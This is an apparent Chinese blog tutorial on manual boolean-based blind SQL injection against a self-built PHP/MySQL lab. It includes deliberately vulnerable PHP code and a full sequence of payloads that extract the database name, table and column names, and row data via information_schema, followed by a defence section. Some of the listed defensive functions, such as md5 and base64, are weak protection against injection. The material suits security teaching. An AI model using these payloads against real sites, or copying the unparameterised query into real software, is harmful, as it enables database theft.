初识SQL盲注

SQL盲注 VS 普通SQL注入

普通SQL注入 SQL盲注
1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等
2.一般在页面上直接就会显示执行sql语句的结果

1.一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注)
2.一般在页面上不会直接显示sql执行的结果
3.有可能出现不确定sql是否执行的情况

 根据页面不同的响应方式,SQL盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注。

SQL盲注-测试思路:

1、对于基于布尔的盲注,可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码...),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<-->False发生变化的转折点。

2、对于基于时间的盲注,通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。

3、对于基于报错的盲注,搜寻查看网上部分Blog,基本是在rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错。

(以上内容借鉴博客:Fighting_001

这里的靶场模仿dvwa的查询样式,通过查询用户的id入口来进行SQL盲注的手工测试,以下为靶场前端代码:

<!DOCTYPE HTML>
<html> 
	<body>
		<form action="wwww.php" method="post">
			姓名:<input type="text" name="name"><br>
			电邮:<input type="text" name="email"><br>
		<input type="submit">
		</form>
	</body>
</html>
<html>
	<body>
		<form action="find.php" method="post">
			<br>查询id:<input type="text" name="id"><br>
			<input type="submit" value='查询'>
		</form>
	</body>
</html>
<?php
   header('Content-Type:text/html; charset=utf-8;');
   $con = new mysqli("127.0.0.1","root","root","php10");
   if (!$con)
   {
      die('Could not connect: ' . mysql_error());
   }
   $con->query("SET NAMES UTF8");
?>

后端代码如下图所示:

<?php
    header( 'Content-Type:text/html; charset=utf-8;' );
    $id = $_POST['id'];
    $con = new mysqli("127.0.0.1","root","root","php10");
    if($con->connect_error<>0){
    	echo "CONNECT ERROR";
		echo $db->connect_error;
		exit;
    }
    $con->query("SET NAMES UTF8");
    //以下为SQL盲注
    $sql="SELECT * FROM learn WHERE id='{$id}'";
    $mysql_result = $con->query($sql);
    if($mysql_result === false){
    	echo "SQL ERROR";
    	exit;
    }
    $row = $mysql_result->num_rows;
    if($row!=0){
    	echo "EXCIT";
    	exit;
    }
    else{
    	echo "MISSING";
    }

 因为在初识SQL盲注中简单讲解了靶场如何搭建,这里不做其他说明...

界面如下图所示:

连接的数据库是php10,表名为learn,先看一下事先注册的数据:

(因为之前测试了多组数据,所以主键id不是从1开始...)

输入1和7进行查询,结果正常返回了MISSING和EXCIT,说明靶场搭建成功,接下来进行SQL盲注的手工测试 :

1、首先需要确认是否存在SQL盲注的漏洞(因为代码未对用户输入数据进行任何过滤措施,也没有采用PDO技术进行防护,肯定存在SQL盲注的漏洞,并且已经知道id是从7开始,为节约时间就直接从7开始测试,正式测试的时候需要耐心地一个个输入)

序号 id取值 返回值
1 7 EXIST
2 ' SQL ERROR
3 7 and 1=1 # EXIST
4 7 and 1=2 # EXIST
5 7' and 1=1 # EXIST
6 7' and 1=2 # MISSING

由上表可知,输入' 输出SQL ERROR,并且7' and 1=1 #与7' and 1=2 #构造的真假返回结果不同,所以一定存在SQL盲注注入点

2、猜数据库的字符串长度

这里需要认识一个MYSQL的函数:

length( $string )     输出字符串长度

 利用length函数猜数据库的字符串长度,这里可以运用折半算法的思想进行注入:

输入 返回值
7' and length(database())>10 # MISSING
7' and length(database())>5 # MISSING
7' and length(database())>2 # EXIST
7' and length(database())>3 # EXIST
7' and length(database())>4 # EXIST

 最后输入    7' and length(database())=5 #  返回值也是EXIST

所以数据库名称由5个字符串构成(与事实相符,数据库为php10) 

3、猜数据库的字符组成

这个需要认识几个MYSQL函数

substr( string, start, length)      输出指定的字符串,start为字符串开始的位置,length为输出字符串的长度

ascii( char )         将指定的字符转化为ascll码

这里需要注意的是substr这个函数,可能不同的语言,不同的数据库第一个字符的下标不一样,有的是从0开始,有的是从1开始,最好是在确定好后端所使用的语言后自己写一个脚本来确定:

这里我先写了一个PHP的脚本,使用substr函数发现第一个字符是从0开始,但是实际测试中发现是从1开始

上网查寻后得知:这个与后端语言无关,mysql中的start是从1开始的,而hibernate中的start是从0开始的 

开始进行测试(同样可以用折半算法的思想):

输入 返回值
7' and ascii(substr(database(),1,1))>97 # EXIST
7' and ascii(substr(database(),1,1))<122 # EXIST
7' and ascii(substr(database(),1,1))>109 # EXIST
7' and ascii(substr(database(),1,1))>115 # MISSING
7' and ascii(substr(database(),1,1))>112 # MISSING
7' and ascii(substr(database(),1,1))=112 # EXIST

                                              ......

说明数据库名称第一个字符对应的ascll码为112,即字母 p

用相同的方法继续进行注入测试,得出数据库的全名为 ' php10 '

技巧:一般数据库的名称只会由大小写字母以及数字构成,并且一般会是有实际意义的单词,所以在进行注入的时候应当有目的的注入,并且加上一定的合理猜测从而能够快速地得到数据库名。

4、猜数据库的表的个数以及名称

 (1)猜表的个数

用到下列语句:

输入 返回值
7' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # MISSING
7' and (select count(table_name) from information_schema.tables where table_schema=database())<5 # EXSIT
7' and (select count(table_name) from information_schema.tables where table_schema=database())>2 # EXSIT
7' and (select count(table_name) from information_schema.tables where table_schema=database())=3 # EXSIT

说明php10中有三个表,与事实相符合

(2)猜数据库php10中第一个表的名称

用到下列SQL语句:

1、查询列出当前连接数据库下的所有表名称 

select table_name from information_schema.tables where table_schema=database()

2、列出当前连接数据库中的第1个表名称

select table_name from information_schema.tables where table_schema=database() limit 0,1

3、以当前连接数据库第1个表的名称作为字符串,从该字符串的第一个字符开始截取其全部字符

substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)

4、计算所截取当前连接数据库第1个表名称作为字符串的长度值

length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))

5、将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值

7' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10

即类似于猜数据库名的方法,将组成表名的字符一个一个猜出来,即可得到表的全名

7' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #

......

这里省略其中的过程,大致先从字母和数字开始猜测,然后结合实际情况才能迅速得到正确表名

所得数据库php10的第一个表名为 learn

5、猜表的字段数以及字段名

(1)猜表的字段数

用到下列语句:

1、php10库中learn表的字段数目:

(select count(column_name) from information_schema.columns where table_schema=database() and table_name='learn')=xxx 

2、判断php10库中learn表是否存在某个字段(调整column_name取值进行尝试匹配)

(select count(*) from information_schema.columns where table_schema=database() and table_name='learn' and column_name='xxx')=1 

3、猜解第i+1个字段的字符长度

length(substr((select column_name from information_shchema.columns limit $i$,1),1))=xxx 

4、猜解第i+1个字段的字符组成,j代表组成字符的位置(从左至右第1/2/...号位)

ascii(substr((select column_name from information_schema.columns limit $i$,1),$j$,1))=xxx

猜测字段数输入(省略猜测过程):

7' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='learn')=3 # 

即php10库中的learn表存在三个字段,与事实相符:

(2)猜表中存在的字段名

用到下列语句:

7' and (select count(*) from information_schema.columns where table_schema=database() and table_name='learn' and column_name='xxx')=1 # 

需要大胆的猜测字段名称,如在xxx处填:name、username、user_name、password、email等等...

这里就不做一一猜测了,包含的字段名称为:id,name,email

6、猜测字段中的值

因为经过以上操作已经知道了数据库名,表明以及列名,因此可以直接通过SQL语句和相关函数进行暴库的操作

7' and length(substr((select name from learn limit 0,1),1))>10 #                   猜name的字段值长度

......

7' and length(substr((select email from learn limit 0,1),1))>10 #                   猜email的字段值长度

......

7' and ascii(substr((select name from learn limit 0,1),1,1))=xxx #                猜name字段第一组第一个字符

7' and ascii(substr((select name from learn limit 1,1),1,1))=xxx #                猜name字段第二组第一个字符 

......

 经过以上六个步骤的操作,能够得到完整的php10库中learn表的完整数据如下:

id name email
7 1234 1234
8 12345 12345
9 11111 11111
12 mm 222

与实际相符:

防御办法

同SQL注入漏洞的防御方法类似,永远不要相信用户输入的数据,对用户输入的数据进行过滤;运用预查寻方案将数据与用户操作完全分隔开;使用PDO以及预处理方法(笔者另一篇博客简单的PDO技术以及预处理方法预防SQL注入中有简单介绍)。下面列出PHP中部分过滤以及加密函数:

addslashes( string )    用反斜线引用字符串

trim( string )                去除字符串首位的空白字符或其他字符

strip_tags( string )      从字符串中去除 HTML 和 PHP 标记

stripslashes( string )   删除由 addslashes() 函数添加的反斜杠

htmlspecialchars( string )   转换特殊字符为HTML字符编码

str_repalce(" ' ","  string ", $str)    替换字符串中的特殊字符

......

md5(  )        

crypt( )

base64_encode( )        base64_decode( )

urlencode( )        urldecode( )

......

 总结:想要进行SQL盲注,就需要按照六个步骤依次进行,大胆猜测,耐心尝试,当然最需要的是扎实的SQL查询语句基础想要更全面了解SQL注入、盲注漏洞,最好的办法是自己写靶场进行体会(附上SQL注入的相关内容:初识SQL注入

发布了18 篇原创文章 · 获赞 38 · 访问量 5093

猜你喜欢

转载自blog.csdn.net/qq_43592364/article/details/100929731